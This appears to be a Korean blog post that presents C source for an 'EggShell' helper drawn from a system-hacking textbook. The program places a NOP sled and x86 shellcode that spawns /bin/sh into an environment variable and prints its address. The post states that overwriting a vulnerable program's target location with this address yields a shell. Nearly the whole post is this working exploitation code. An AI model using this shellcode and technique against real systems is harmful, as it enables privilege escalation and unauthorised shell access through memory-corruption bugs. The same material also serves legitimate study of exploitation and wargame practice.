환경 변수에 bash shell을 실행하는 Shell Code를 등록 한 뒤 주소를 출력 해주는 EggShell 코드입니다. 공격을 하고자 하는 위치에 EggShell 의 결과 주소값을 덮어 쓰면 쉘을 획득할 수 있습니다.

 출처 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_ADDR_SIZE 8
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_SUPERDK_SIZE 2048
#define NOP 0x90

char shellcode[] = "\x31\xc0\x31\xd2\xb0\xb0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";


unsigned long get_sp(void)
{
        __asm__("movl %esp, %eax");
}

int main(int argc, char * argv[])
{
        char *ptr, *superSH;
        char shAddr[DEFAULT_ADDR_SIZE + 1];
        char cmdBuf[DEFAULT_BUFFER_SIZE];
        long *addr_ptr, addr;
        int offset = DEFAULT_OFFSET;
        int i, supershLen = DEFAULT_SUPERDK_SIZE;
        int chgDec[3];

        if( !(superSH = malloc(supershLen)))
        {
                printf("Malloc() Failed \n");
                exit(0);
        }

        addr = get_sp() - offset;
        printf("Address : 0x%8x \n", addr);

        ptr = superSH;

        for(i = 0; i< supershLen - strlen(shellcode) - 1; i++)
        {
                *(ptr++) = NOP;
        }

        for(i = 0; i< strlen(shellcode); i++)
        {
                *(ptr++) = shellcode[i];
        }

        superSH[supershLen - 1] = '\0';

        memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
        putenv(superSH);

        system("/bin/bash");


}

'0x002 OperatingSystem > 02. Linux' 카테고리의 다른 글

[Tip] vi editor  (0) 2017.12.29
[Command] GDB Find  (0) 2017.12.29
[Tip] xinetd  (0) 2017.12.29
[Tip] 동시에 여러 명령 실행하기  (0) 2017.12.29
[Command] Find  (0) 2017.12.29

+ Recent posts